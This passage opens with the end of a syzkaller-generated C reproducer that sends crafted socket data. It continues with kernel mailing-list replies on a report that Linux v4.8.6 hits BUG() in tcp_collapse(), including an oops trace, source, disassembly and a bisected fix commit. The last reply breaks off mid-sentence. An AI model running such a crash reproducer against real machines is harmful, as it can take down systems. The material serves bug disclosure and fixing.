      "\x61\xe2\x42\x71\x72\x66\x3c\x4f\x9a\x55\x2e\x8c\x18\xb4\xf5\x5a"
      "\x46\xed\x8c\x03\xb0\xed\xeb\x74\xa5\xc1\xd1\x5f\x79\xc3\xaa\xb0"
      "\xf9\x9b\xed\x36\x17\x1a\x07\xd5\xeb\x4d\xe3\xda\x13\x9e\x3b\xa9"
      "\xf4\x79\x2e\xe7\xe1\xf8\xe6\x94\x7f\x88\x87\x53\xf2\x1a\x22\xc3"
      "\x97\x4e\x24\x9a\x7d\xe7\x5b\x81\x74\xef\xf7\x57\x6b\x3c\xdd\x77"
      "\xa2\xcb\xfb\xb5\x75\x33\xfd\x24\xe1\x40\x0f\x9d\x18\xec\x1c\xe4"
      "\x53\x8c\x2a\x65\x15\x4d\x85\x0f\xe6\xd7\x29\xc3\x9e\x41\x2f\x2a"
      "\xc0\x50\xdd\x4b\xbb\x80\xe5\xf1\xef\x45\x4a\x3c\x12\x94\x1f\x34"
      "\x75\x9b\x50\x07\x27\x98\x23\x50\xe0\x09\xcc\x33\xce\xcb\x62\x2a"
      "\x1d\xf5\x98\xf4\xf8\x0f\x71\x1b\x80\xfb\x10\x89\x49\x46\x06\x0b"
      "\x43\xf8\x1d\xc0\xf5\x8c\x70\x76\xa1\x71\xd7\xe6\xd3\x93\x54\xfb"
      "\x0a\xa9\x68\x47\x63\xd9\x22\x29\xac\xe4\xd8\x74\xe2\x1b\x72\xba"
      "\x75\xfe\xf5\x07\x07\x77\x07\x98\x35\xd3\x23\x09\xb7\x9c\xf7\xa4"
      "\x99\x3e\x49\x68\xdb\x4d\x79\x98\xea\x6e\x93\x8b\x9a\x0e\x42\xd3"
      "\xfa\xfa\x06\xe7\x37\x78\x62\xe8\x20\x99\x59\x93\xfd\xe6\x64\xaa"
      "\x87\x29\x13\x4d\x5c\xd1\xbf\xa1\x93\x45\xfd\xc5\x0a\xf3\x4b\x59"
      "\xdf\xcf\x64\x83\xfc\xc4\x7a\xd8\xd7\x7d\x12\xf5\xd2\xf3\xd0\xac"
      "\xe6\xa9\xa3\x92\x13\xd8\xda\x2c\xc0\x4c\xa2\x26\x88\xfc\xa5\x66"
      "\xf8\xd6\x93\xca\xc7\x0a\xe6\x1a\x1f\xd2\xe2\x62\xd1\x7b\x69\x21"
      "\xb3\xbf\x2f\xc5\x63\xe1\xca\xdf\xc3\xc6\xfb\xff\x65\x03\xfc\x39"
      "\x28\xb2\x8b\xa7\x7c\x78\x8f\xac\xfc\x6f\x39\xfb\xd2\xaf\xbd\x05"
      "\xde\xcc\x6e\x5a\x92\x34\xc5\x79\x25\x13\x47\x9e\x19\x76\x4c\x71"
      "\xab\x64\xd3\x4d\xe6\xf3\xf6\x90\x41\x7e\x22\xb0\x47\x41\x23\x40"
      "\x7b\x4f\xc0\x33\xd6\xfc\x12\xaa\x4d\x1f\x8b\x2c\xc4\x43\x07\xd3"
      "\x9e\xc8\x2a\x49\x70\x5f\xb0\x0d\x98\x3f\xf1\x92\x5c\xab\xfb\x74"
      "\x0e\x23\x9c\x51\x8f\x76\x4f\xb9\xf5\xff\xfb\x3d\x10\x11\x76\x89"
      "\xae\x1a\xf6\x2b\x8d\xb8\xa2\xbf\x92\x84\xbc\xc2\x33\x26\xff\xf1"
      "\xa3\xbe\x65\x77\x9d\xa2\xd0\x15\x11\x87\xcf\x60\x13\xe6\x85\xdb"
      "\xb1\xf4\xb1\x5a\x92\xb7\x1a\x4f\xe7\x7d\xe1\x8c\xee\xb1\xde\x65"
      "\x81\x70\xff\x91\x2c\xf8\x75\x8f\x21\x81\xcc\x91\x87\xf8\xc6\x39"
      "\x4f\x5f\x5e\x53\xa2\xe5\xb2\xc1\x98\xc1\x42\x07\x78\x3a\xa1\x26"
      "\x8a\x9b\x19\x61\x93\xdd\x66\x7c\xfb\x28\x81\x6f\xee\x80\xc0\x2d"
      "\xe1\x73\x09\x55\x15\xee\xfd\x03\x01\x0d\xee\x8e\x3f\x85\xcf\xb5"
      "\x07\x0e\x8d\xa9\xb3\xeb\xe3\xf0\x9d\x22\x1a\xed\x49\x74\xeb\x41"
      "\xe3\x1a\xf1\x52\xe3\xca\x16\xa8\xe6\xf6\x1d\xf1\x6a\x4b\xb8\xee"
      "\x1d\x7c\x9c\x6a\x95\x72\x1d\x64\xf5\xbb\x95\x6e\x2e\x03\x34\x02"
      "\xc0\xb2\xa8\x5a\x4a\xcd\x00\x71\x25\x30\x7d\x87\xc8\xb5\x8f\x36"
      "\x1b\xf3\x67\xe9\x52\xa0\x4b\x2b\xb9\xd9\xc6\x03\x52\x7b\xea\x1f"
      "\xe7\x21\x3d\xe1\xc1\xcf\x84\x5f\xcf\x54\xa0\x60\x52\x0f\xd0\x92"
      "\x5e\x37\x67\x84\x3b\xd2\x68\x9c\x52\x12\xdd\x9b\x73\xf2\xf1\x1d"
      "\xdb\x68\x85\xd7\x4e\xdd\xd1\xfe\xf7\x31\xfa\x9f\xca\x00\xec\xfc"
      "\x4c\xcc\xb0\x0b\x42\x56\xf4\x2f\x96\x20\x93\xe3\xad\x7e\x6f\x93"
      "\xc3\x32\xbd\x1a\x39\xeb\xf8\xc3\xa9\xed\x57\x67\x79\xed\x89\x19"
      "\x55\xaa\xcf\x6b\x5f\x8b\xdc\x84\xff\xa2\x21\xd5\xae\x50\x0a\x53"
      "\x7d\xcd\x24\x7b\xc4\x22\xb1\xb7\xed\x3b\x4b\x6e\xa2\x43\x10\x45"
      "\x2b\x8f\x3f\x6c\xda\x78\xa8\x09\x94\x32\xba\xf3\x20\x0d\xe5\x54"
      "\x01\xd1\x78\x26\x29\x50\x49\x55\x99\xed\xb4\x9a\x5d\xe9\x23\xe4"
      "\x2e\xe7\x54\x56\x63\x14\x01\x33\xbc\xa8\x4a\x8b\x4d\x7f\x45\xe4"
      "\x1f\xa7\x5c\x0e\xee\x04\x54\x08\xee\xd2\x0f\x55\x02\x42\x7b\xcb"
      "\xd6\x4a\xba\x6d\x2e\x38\x18\xa9\xe8\xda\x81\xd0\xa9\xb2\x3f\x45"
      "\xb4\xfd\x16\x95\x20\xba\x84\x18\xc4\xc0\x2b\xd2\x8a\x40\x18\x84"
      "\x7f\x2c\x82\xcd\xa0\x5d\x62\x01\x16\x79\x81\xb7\x00\xac\x1f\xb2"
      "\xe9\x24\x63\xd4\xe2\xf8\x5b\x3e\xfe\x4e\x4f\x93\x55\x92\xae\xbb"
      "\x2b\xd3\xff\x05\x2b\x0a\x6e\x94\xb6\x23\xf5\x87\x7a\x13\x0e\x6f"
      "\x06\x80\x76\x64\xad\xcc\x78\x23\xa8\xcc\xcf\x98\xf7\x22\x27\xd1"
      "\xc9\x8b\xb4\x51\xb9\x9b\xfc\x45\xac\x71\x7b\x28\x5d\xf7\x76\xc9"
      "\x69\xf1\x02\x2f\x8e\x21\xec\x87\x6e\x34\x75\xaf\x17\xdd\x13\xa5"
      "\xdc\x0b\x2e\xe9\xb8\x19\xbd\x94\xc4\xf3\x31\x60\xa2\xc7\x39\x14"
      "\xae\xd8\x73\x2c\x84\xd1\x02\xf0\x9e\xd0\x1b\x66\x93\x6b\x83\x4d"
      "\x5f\x32\x8d\x4f\x4f\xff\x64\x1d\xd7\xf0\x8b\x70\xdd\xc6\x5f\x34"
      "\x7d\x28\xf8\xb6\x5f\x56\x1b\x1d\x02\x21\x53\x69\x16\xd2\x91\x85"
      "\xa2\x3d\x00\xfa\x77\xd7\xcd\xff\xd7\x78\x67\x0f\xb1\xaa\x17\xae"
      "\x0e\x56\xd9\xaf\xcb\x8a\x86\x41\x49\x86\xc5\x17\x9f\x1b\x82\xf4"
      "\x77\x9e\x23\x08\x9d\x78\x09\x3e\x55\x95\x2b\xc5\xac\xd3\x72\xd1"
      "\xfe\x24\x13\xe1\x0e\x06\xd3\x94\xb7\x79\x6b\x7e\xb1\x4c\x70\xe8"
      "\xa3\x84\x1e\xf9\xb1\xbf\x19\x65\x8f\xbe\x33\x23\x3b\x87\x1e\x2d"
      "\xbf\x88\xa4\x4d\x24\x49\x87\xff\x27\xc9\x66\x6f\x82\x88\x17\xc0"
      "\xb6\xb3\x8e\x43\x8e\x95\x4a\xa6\x99\x91\x52\xb2\xca\x50\x79\x68"
      "\xe3\xde\x80\x24\xb3\x53\x1f\xfb\xc3\x58\x80\xfa\xf1\xa1\xd3\xa9"
      "\x4d\x02\x85\xf7\xb2\x49\x74\x56\x66\x7f\xbd\x3d\x13\x15\xbf\x90"
      "\x2f\x35\x29\x14\xf4\x29\x0d\x70\xa1\xa4\xb2\x35\x0c\x4a\xc9\x16"
      "\x7e\x93\x29\x2a\x4f\x90\xbd\x16\x46\xc3\xba\x18\x0c\xe2\x63\x0a"
      "\xeb\xba\xde\x97\x1b\xd0\x43\xe2\x3b\xc9\x63\xe5\x74\x15\xe6\x93"
      "\x45\x06\x5c\x97\xa1\xab\x86\xe1\x42\x04\xa2\xa3\xb3\x4b\xdf\xd4"
      "\x57\x85\x66\x79\xb6\xb9\x8a\xe3\xc5\x41\x7a\xf9\x15\x32\xfe\x55"
      "\x08\x16\xc1\xc6\xcd\xd0\xfc\xbc\xca\x64\xd3\x6e\xe1\x7d\x8a\x6b"
      "\x6e\x9c\x14\x4e\x1f\xd3\x5f\x34\x72\x77\x50\xde\x7f\xae\x59\xbd"
      "\x6c\xe5\xac\x33\x88\xc7\xf2\x6e\x30\xe0\xbd\xc7\x5b\x07\xef\x6d"
      "\xed\x28\x14\x4e\xd8\x49\xd6\xc4\x31\xd1\x17\x32\x0f\x9d\xa6\x64"
      "\x7b\xbe\x62\x1b\x06\xbf\xba\x1c\x61\xdd\x6a\x72\x96\x0e\xaf\x46"
      "\x26\x35\xb8\x5d\xf3\x95\x3c\xb2\x2c\xac\xfc\xa4\xb3\x35\xed\xc8"
      "\x7b\xce\x90\x72\x6d\xeb\x8a\xd2\x36\xd8\x4e\x19\xcf\xbc\x9f\xed"
      "\xb5\xc7\x00\xe3\x1c\x62\x76\x07\xa0\xda\x2c\xd6\x67\x4b\xcd\x49"
      "\xbc\xfe\xf4\x7f\xc5\xcd\x52\x1c\x32\xe2\xbc\x87\x7d\x68\xdc\x19"
      "\x92\x2e\xd9\xb8\x93\xd7\xeb\xe4\x93\x4e\x2b\xaf\x9c\xed\x35\xa8"
      "\x50\x37\x35\xe3\x38\xb4\x86\xdb\xa4\x0e\xe4\xce\x79\x36\x86\xf2"
      "\x50\xaa\x11\x74\xfb\x06\x51\x63\x29\x76\xd4\xc0\x80\x8f\xe0\x96"
      "\xda\xea\xa2\x58\x4c\x0c\xd2\xf5\x4b\x22\x75\x5b\xe7\x4c\x8f\x7d"
      "\x13\x94\x29\x4a\xe5\xd4\xa9\x81\xd6\x71\x95\x44\x59\x25\x66\xe3"
      "\x37\x6d\x88\x7e\xf5\x7d\xd1\x59\x5c\xbd\x80\x63\x91\x93\xc7\xd0"
      "\xb8\xa9\xda\x3e\x8f\xfc\xe9\x84\x30\x92\x97\xf7\x35\x61\x06\x0a"
      "\xa8\x56\x8b\x92\x83\x25\x4d\x40\x06\xba\xc9\xf5\x0c\x24\xa1\x04"
      "\xd5\x7f\x7a\x6e\x92\x46\xf3\xa5\x88\x99\xfd\xca\x91\x09\x4e\x54"
      "\xf6\x22\xee\xce\xe9\x1b\x18\x0b\xa5\xed\x9f\xad\xd6\xf6\x78\xc2"
      "\xaf\x6e\x14\x3a\x54\x74\x4e\x60\xa2\xa5\x90\xd5\xa4\x6f\xad\xcc"
      "\x79\x1c\x11\xcd\x67\x96\xde\x9b\xb8\x62\x31\xba\xfa\x48\xb2\x54"
      "\x3c\xee\xeb\xe6\xed\x09\xb0\x59\xec\x7d\x43\xfd\xdd\x1a\x5b\x0e"
      "\x79\xb3\x84\x07\x5c\x58\xb2\x13\xa3\xb7\x1d\xda\x6b\x12\x6a\x6a"
      "\xf0\x73\x85\xef\xc8\x89\x08\x8d\xf4\x8a\x41\x64\xeb\x61\x41\x42"
      "\x2b\xb6\xc1\x78\xbb\xe9\x62\x4e\x7f\x08\xe9\xdd\x80\x7e\xfa\xdb"
      "\xa0\x96\xae\xbf\x0a\x4b\x0f\x9c\xa2\xf7\xf9\x5c\xa2\x00\x5c\x54"
      "\xb7\xb6\x36\x76\x31\x9d\x15\x41\x79\xbf\x14\xd8\x83\x0e\xbe\x34"
      "\xcd\x63\x19\x44\xe9\x0c\x49\x3d\x55\x0f\x8c\x96\x1a\xe9\x1e\x29"
      "\x77\x6e\xa3\xc2\x33\x15\x6c\xe1\x21\x5d\x99\x10\x48\x9f\xbc\x9f"
      "\x1e\x7f\x37\xc7\xa1\xd4\x0c\xf9\xbf\xb1\x91\xf7\xe4\xff\x0c\x45"
      "\x30\xa2\xd7\xb7\xdf\x30\x7a\x43\x13\x29\x24\x5f\x95\xd3\x8e\x49"
      "\xc2\xb7\x92\x3b\xd1\x14\x78\x94\xb2\xdd\xb7\x71\x05\x64\x3c\x15"
      "\xd2\x3d\xa0\x8c\x88\x04\x53\x50\x04\xed\xd0\xab\x0c\xf4\xf1\x35"
      "\x3f\xd1\x6b\x7f\xbb\x91\x95\xef\xe5\xb8\xf0\xd6\x40\xd6\x3b\x1f"
      "\x98\xff\xa9\xca\xff\x4f\x5c\x3a\x68\x42\xb2\x0a\xad\xf5\x14\x39"
      "\x0f\xd5\xba\x09\x9e\x2c\xfe\x53\xd5\x09\xd2\x14\xc3\xbc\x8a\xbd"
      "\xc8\x0b\x05\xb6\xe6\xda\x56\x91\x64\x45\x48\x43\x20\x84\x43\x05"
      "\x52\xdf\x95\xc7\x87\xf2\x79\xa3\xdd\x33\x5b\x47\xec\xf8\x9e\xba"
      "\x6a\xfd\xb5\xb8\xb6\xea\xc5\x7a\xbe\xc0\xeb\x25\x7b\x68\x85\xc9"
      "\xab\x8d\x02\xa4\xdb\xbc\x8c\x24\x8b\xf4\x95\x9d\x88\xc4\xd0\xd6"
      "\x50\x9d\xa6\x0d\xb7\xbb\xf7\x39\x6e\xb2\x51\x9d\x6c\xdb\xce\x2f"
      "\x6a\x40\x04\x9a\xc2\x91\xae\x94\x20\x96\x3a\xf9\x7b\x26\xe2\x75"
      "\x9a\x02\xb2\xb5\x7f\xc4\x68\x71\x79\x0c\x6a\x90\x6a\x52\x46\x83"
      "\x89\x70\x13\x2a\x0b\x6d\x4f\x41\xee\x76\x63\xc7\x0e\x70\xd7\x3a"
      "\x02\x5e\xd6\x86\x2f\x74\xdf\x80\x15\xa3\x28\x5c\x52\xba\xd7\xd4"
      "\xf0\x77\x52\xc0\x25\xaa\x1c\x0d\xbb\x4d\x33\x00\x5c\x15\xe8\x79"
      "\x9e\x12\xfe\xfd\x95\xf4\xf0\x3e\xdc\x7c\x38\x0f\x60\xc0\x18\x9f"
      "\x74\x09\x5a\x6b\x8e\xcb\x14\x0e\x92\x3e\xd8\xc0\x4d\xca\x7c"
      "\xdf",
      4096));
  NONFAILING(memcpy(
      (void*)0x2002bf80,
      "\x01\x00\x2e\x2f\x63\x6f\x6e\x74\x72\x6f\x6c\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
      "\x00",
      128));
  r[18] = execute_syscall(__NR_sendto, r[1], 0x2002b000ul, 0x1000ul,
                          0x0ul, 0x2002bf80ul, 0x80ul, 0, 0, 0);
  NONFAILING(memcpy(
      (void*)0x2002a000,
      "\x7d\x33\x37\x9d\x7e\x02\x30\x20\x36\xe2\xa9\x7f\x3d\xd7\xdb\x63"
      "\x69\x6c\x4e\x81\xb9\xad\x43\x3c\x30\x26\x0b\x00\x9b\x7c\xac\x01"
      "\x0e\x94\x5c\xb5\x10\x1f\x7b\x17\x29\x85\x44\x3f\xbc\x08\xe0\xd0"
      "\x5f\x57\x48\xd6\xfc\xeb\xc4\x3a\x8c\xf9\x12\x57\x03\x49\x7c\x09"
      "\x31\x97\xe3\x89\x95\xe1\x7a\x81\x61\x39\xe5\x90\x23\xb8\x85\xdc"
      "\x04\x3d\x63\x7e\x67\xc2\x39\xee\xd3\x6c\x20\x93\xbe\xcc\x45\x55"
      "\xc2\x87\x64\xa6\x4f\x6b\x01\x35\x59\x82\x17\x29\xd2\xde\x9b\x7f"
      "\x22\x8d\x54\xcf\xdb",
      117));
  NONFAILING(*(uint16_t*)0x20028fe4 = (uint16_t)0xa);
  NONFAILING(*(uint16_t*)0x20028fe6 = (uint16_t)0x2ab);
  NONFAILING(*(uint32_t*)0x20028fe8 = (uint32_t)0x3);
  NONFAILING(*(uint32_t*)0x20028fec = (uint32_t)0x7);
  NONFAILING(*(uint32_t*)0x20028ff0 = (uint32_t)0x1ff);
  NONFAILING(*(uint32_t*)0x20028ff4 = (uint32_t)0x400);
  NONFAILING(*(uint32_t*)0x20028ff8 = (uint32_t)0x0);
  NONFAILING(*(uint32_t*)0x20028ffc = (uint32_t)0x4);
  r[28] = execute_syscall(__NR_sendto, r[1], 0x2002a000ul, 0x75ul,
                          0x1ul, 0x20028fe4ul, 0x1cul, 0, 0, 0);
  return 0;
}

Re: BUG() can be hit in tcp_collapse()

[Greg KH]

On Thu, Nov 10, 2016 at 09:47:26AM -0500, Vladis Dronov wrote:
> Hello,
> 
> It was discovered by Marco Grassi <marco.gra@gmail.com> (many thanks) that the
> latest stable Linux kernel v4.8.6 is crashing in tcp_collapse() after making
> certain syscalls:
> 
> [    9.622886] kernel BUG at net/ipv4/tcp_input.c:4813!
> [    9.623299] invalid opcode: 0000 [#1] SMP
> [    9.623642] Modules linked in: iptable_nat nf_nat_ipv4 nf_nat
> [    9.624287] CPU: 2 PID: 2871 Comm: poc Not tainted 4.8.6 #2
> [    9.624730] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.2-20150714_191134- 04/01/2014
> [    9.625459] task: ffff8801387b9a00 task.stack: ffff8801380e4000
> [    9.625929] RIP: 0010:[<ffffffff8178d4ec>]  [<ffffffff8178d4ec>] tcp_collapse+0x3ac/0x3b0
> [    9.626609] RSP: 0018:ffff8801380e7b78  EFLAGS: 00010282
> [    9.627028] RAX: 00000000fffffff2 RBX: 0000000000000ec0 RCX: 0000000000000ec0
> [    9.627587] RDX: ffff8801365cd000 RSI: 0000000000000000 RDI: ffff8801364106e0
> [    9.628142] RBP: ffff8801380e7bc8 R08: 0000000000000000 R09: ffff88013b003300
> [    9.628704] R10: ffff8801365cd000 R11: 0000000000000000 R12: 0000000000000ec0
> [    9.629259] R13: ffff88013663ae00 R14: 00000000cdf0ca26 R15: ffff8801364106e0
> [    9.629819] FS:  00007f2cef695800(0000) GS:ffff88013fc80000(0000) knlGS:0000000000000000
> [    9.630945] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [    9.631655] CR2: 000000002002a000 CR3: 0000000139d46000 CR4: 00000000001406e0
> [    9.632462] Stack:
> [    9.632900]  0000000000000000 cdf0da2600000001 ffff880138050000 ffff8801380500a8
> [    9.634138]  ffff880100000000 ffff880138050688 0000000000000900 ffff8801364136e0
> [    9.635379]  ffff880138050000 ffff880138050688 ffff8801380e7c00 ffffffff8178d630
> [    9.636622] Call Trace:
> [    9.637087]  [<ffffffff8178d630>] tcp_try_rmem_schedule+0x140/0x380
> [    9.637834]  [<ffffffff81791aa8>] tcp_data_queue+0x898/0xcf0
> [    9.638538]  [<ffffffff8179210b>] tcp_rcv_established+0x20b/0x6c0
> [    9.639268]  [<ffffffff81710143>] ? sk_reset_timer+0x13/0x30
> [    9.639968]  [<ffffffff81813009>] tcp_v6_do_rcv+0x1b9/0x420
> [    9.640666]  [<ffffffff81710b02>] __release_sock+0x82/0xf0
> [    9.641353]  [<ffffffff81710b9b>] release_sock+0x2b/0x90
> [    9.642029]  [<ffffffff817890ca>] tcp_sendmsg+0x55a/0xb60
> [    9.642714]  [<ffffffff817b29d0>] inet_sendmsg+0x60/0x90
> [    9.643389]  [<ffffffff8170c7b3>] sock_sendmsg+0x33/0x40
> [    9.644064]  [<ffffffff8170ccee>] SYSC_sendto+0xee/0x160
> [    9.645530]  [<ffffffff8170d6f9>] SyS_sendto+0x9/0x10
> [    9.646190]  [<ffffffff81909df2>] entry_SYSCALL_64_fastpath+0x1a/0xa4
> [    9.646947] Code: 48 c7 07 00 00 00 00 48 89 42 08 48 89 10 e8 cc 7e f8 ff 49 8b 47 30 48 8b 80 80 01 00 00 65 48 ff 80 b0 01 00 00 e9 72 fd ff ff <0f> 0b 66 90 55 48 89 e5 41 57 41 56 41 55 41 54 49 89 fe 53 8b 
> [    9.651794] RIP  [<ffffffff8178d4ec>] tcp_collapse+0x3ac/0x3b0
> [    9.652554]  RSP <ffff8801380e7b78>
> 
> The reproducer is generated by the syzkaller, please, see attached. The
> following BUG() is hit:
> 
> [net/ipv4/tcp_input.c]
> static void
> tcp_collapse(struct sock *sk, struct sk_buff_head *list,
>              struct sk_buff *head, struct sk_buff *tail,
>              u32 start, u32 end)
> {
> ...
> /* Copy data, releasing collapsed skbs. */
> while (copy > 0) {
>         int offset = start - TCP_SKB_CB(skb)->seq;
>         int size = TCP_SKB_CB(skb)->end_seq - start;
> 
>         BUG_ON(offset < 0);
>         if (size > 0) {
>                 size = min(copy, size);
> 4812:           if (skb_copy_bits(skb, offset, skb_put(nskb, size), size))
> 4813:                   BUG();
> 
> /usr/src/linux-4.8.6/net/ipv4/tcp_input.c: 4812
> 0xffffffff8178d390 <tcp_collapse+0x250>:        mov    %r12d,%esi
> 0xffffffff8178d393 <tcp_collapse+0x253>:        callq  0xffffffff81713ce0 <skb_put>
> 0xffffffff8178d398 <tcp_collapse+0x258>:        mov    -0x30(%rbp),%r8d
> 0xffffffff8178d39c <tcp_collapse+0x25c>:        mov    %r12d,%ecx
> 0xffffffff8178d39f <tcp_collapse+0x25f>:        mov    %rax,%rdx
> 0xffffffff8178d3a2 <tcp_collapse+0x262>:        mov    %r15,%rdi
> 0xffffffff8178d3a5 <tcp_collapse+0x265>:        mov    %r8d,%esi
> 0xffffffff8178d3a8 <tcp_collapse+0x268>:        callq  0xffffffff81714b90 <skb_copy_bits>
> 0xffffffff8178d3ad <tcp_collapse+0x26d>:        test   %eax,%eax
> 0xffffffff8178d3af <tcp_collapse+0x26f>:        jne    0xffffffff8178d4ec <tcp_collapse+0x3ac>
> ...
> /usr/src/linux-4.8.6/net/ipv4/tcp_input.c: 4813
> 0xffffffff8178d4ec <tcp_collapse+0x3ac>:        ud2    
> 
> I have checked that the reproducer can cause hitting this BUG() in the kernels
> since, at least v4.0. I was not checking the earlier kernels except RHEL-7 ones
> (3.10.0-xxx) which are not vulnerable.
> 
> The upstream kernels since v4.9-rc1 are not vulnerable too and I have bisected
> the repo to the commit c9c3321257 which fixes the issue.
> 
> $ git tag --contain c9c3321257e1b95be9b375f811fb250162af8d39
> v4.9-rc1
> 
> Stable v4.8.6 kernel with the c9c3321257 commit applied does not hit the BUG(),
> so I believe this commit should be backported to the stable branch. This commit
> applies cleanly to the v4.8.6 tree with just line offsets.

I'll be glad to take it if the network maintainer says it is safe to do
so and acks it :)

thanks,

greg k-h

Re: BUG() can be hit in tcp_collapse()

[Eric Dumazet]

On Thu, 2016-11-10 at 09:47 -0500, Vladis Dronov wrote:
> Hello,
> 
> It was discovered by Marco Grassi <marco.gra@gmail.com> (many thanks) that the
> latest stable Linux kernel v4.8.6 is crashing in tcp_collapse() after making
> certain syscalls:
> 
> [    9.622886] kernel BUG at net/ipv4/tcp_input.c:4813!
> [    9.623299] invalid opcode: 0000 [#1] SMP
> [    9.623642] Modules linked in: iptable_nat nf_nat_ipv4 nf_nat
> [    9.624287] CPU: 2 PID: 2871 Comm: poc Not tainted 4.8.6 #2
> [    9.624730] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.8.2-20150714_191134- 04/01/2014
> [    9.625459] task: ffff8801387b9a00 task.stack: ffff8801380e4000
> [    9.625929] RIP: 0010:[<ffffffff8178d4ec>]  [<ffffffff8178d4ec>] tcp_collapse+0x3ac/0x3b0
> [    9.626609] RSP: 0018:ffff8801380e7b78  EFLAGS: 00010282
> [    9.627028] RAX: 00000000fffffff2 RBX: 0000000000000ec0 RCX: 0000000000000ec0
> [    9.627587] RDX: ffff8801365cd000 RSI: 0000000000000000 RDI: ffff8801364106e0
> [    9.628142] RBP: ffff8801380e7bc8 R08: 0000000000000000 R09: ffff88013b003300
> [    9.628704] R10: ffff8801365cd000 R11: 0000000000000000 R12: 0000000000000ec0
> [    9.629259] R13: ffff88013663ae00 R14: 00000000cdf0ca26 R15: ffff8801364106e0
> [    9.629819] FS:  00007f2cef695800(0000) GS:ffff88013fc80000(0000) knlGS:0000000000000000
> [    9.630945] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
> [    9.631655] CR2: 000000002002a000 CR3: 0000000139d46000 CR4: 00000000001406e0
> [    9.632462] Stack:
> [    9.632900]  0000000000000000 cdf0da2600000001 ffff880138050000 ffff8801380500a8
> [    9.634138]  ffff880100000000 ffff880138050688 0000000000000900 ffff8801364136e0
> [    9.635379]  ffff880138050000 ffff880138050688 ffff8801380e7c00 ffffffff8178d630
> [    9.636622] Call Trace:
> [    9.637087]  [<ffffffff8178d630>] tcp_try_rmem_schedule+0x140/0x380
> [    9.637834]  [<ffffffff81791aa8>] tcp_data_queue+0x898/0xcf0
> [    9.638538]  [<ffffffff8179210b>] tcp_rcv_established+0x20b/0x6c0
> [    9.639268]  [<ffffffff81710143>] ? sk_reset_timer+0x13/0x30
> [    9.639968]  [<ffffffff81813009>] tcp_v6_do_rcv+0x1b9/0x420
> [    9.640666]  [<ffffffff81710b02>] __release_sock+0x82/0xf0
> [    9.641353]  [<ffffffff81710b9b>] release_sock+0x2b/0x90
> [    9.642029]  [<ffffffff817890ca>] tcp_sendmsg+0x55a/0xb60
> [    9.642714]  [<ffffffff817b29d0>] inet_sendmsg+0x60/0x90
> [    9.643389]  [<ffffffff8170c7b3>] sock_sendmsg+0x33/0x40
> [    9.644064]  [<ffffffff8170ccee>] SYSC_sendto+0xee/0x160
> [    9.645530]  [<ffffffff8170d6f9>] SyS_sendto+0x9/0x10
> [    9.646190]  [<ffffffff81909df2>] entry_SYSCALL_64_fastpath+0x1a/0xa4
> [    9.646947] Code: 48 c7 07 00 00 00 00 48 89 42 08 48 89 10 e8 cc 7e f8 ff 49 8b 47 30 48 8b 80 80 01 00 00 65 48 ff 80 b0 01 00 00 e9 72 fd ff ff <0f> 0b 66 90 55 48 89 e5 41 57 41 56 41 55 41 54 49 89 fe 53 8b 
> [    9.651794] RIP  [<ffffffff8178d4ec>] tcp_collapse+0x3ac/0x3b0
> [    9.652554]  RSP <ffff8801380e7b78>
> 
> The reproducer is generated by the syzkaller, please, see attached. The
> following BUG() is hit:
> 
> [net/ipv4/tcp_input.c]
> static void
> tcp_collapse(struct sock *sk, struct sk_buff_head *list,
>              struct sk_buff *head, struct sk_buff *tail,
>              u32 start, u32 end)
> {
> ...
> /* Copy data, releasing collapsed skbs. */
> while (copy > 0) {
>         int offset = start - TCP_SKB_CB(skb)->seq;
>         int size = TCP_SKB_CB(skb)->end_seq - start;
> 
>         BUG_ON(offset < 0);
>         if (size > 0) {
>                 size = min(copy, size);
> 4812:           if (skb_copy_bits(skb, offset, skb_put(nskb, size), size))
> 4813:                   BUG();
> 
> /usr/src/linux-4.8.6/net/ipv4/tcp_input.c: 4812
> 0xffffffff8178d390 <tcp_collapse+0x250>:        mov    %r12d,%esi
> 0xffffffff8178d393 <tcp_collapse+0x253>:        callq  0xffffffff81713ce0 <skb_put>
> 0xffffffff8178d398 <tcp_collapse+0x258>:        mov    -0x30(%rbp),%r8d
> 0xffffffff8178d39c <tcp_collapse+0x25c>:        mov    %r12d,%ecx
> 0xffffffff8178d39f <tcp_collapse+0x25f>:        mov    %rax,%rdx
> 0xffffffff8178d3a2 <tcp_collapse+0x262>:        mov    %r15,%rdi
> 0xffffffff8178d3a5 <tcp_collapse+0x265>:        mov    %r8d,%esi
> 0xffffffff8178d3a8 <tcp_collapse+0x268>:        callq  0xffffffff81714b90 <skb_copy_bits>
> 0xffffffff8178d3ad <tcp_collapse+0x26d>:        test   %eax,%eax
> 0xffffffff8178d3af <tcp_collapse+0x26f>:        jne    0xffffffff8178d4ec <tcp_collapse+0x3ac>
> ...
> /usr/src/linux-4.8.6/net/ipv4/tcp_input.c: 4813
> 0xffffffff8178d4ec <tcp_collapse+0x3ac>:        ud2    
> 
> I have checked that the reproducer can cause hitting this BUG() in the kernels
> since, at least v4.0. I was not checking the earlier kernels except RHEL-7 ones
> (3.10.0-xxx) which are not vulnerable.
> 
> The upstream kernels since v4.9-rc1 are not vulnerable too and I have bisected
> the repo to the commit c9c3321257 which fixes the issue.
> 
> $ git tag --contain c9c3321257e1b95be9b375f811fb250162af8d39
> v4.9-rc1
> 
> Stable v4.8.6 kernel with the c9c3321257 commit applied does not hit the BUG(),
> so I believe this commit should be backported to the stable branch. This commit
> applies cleanly to the v4.8.6 tree with just line offsets.
> 
> Meanwhile, I see that commit c9c3321257 just increases(?) an skb buffer(?)
> (which fixes hitting the BUG() for this exact reproducer), but does not fix the
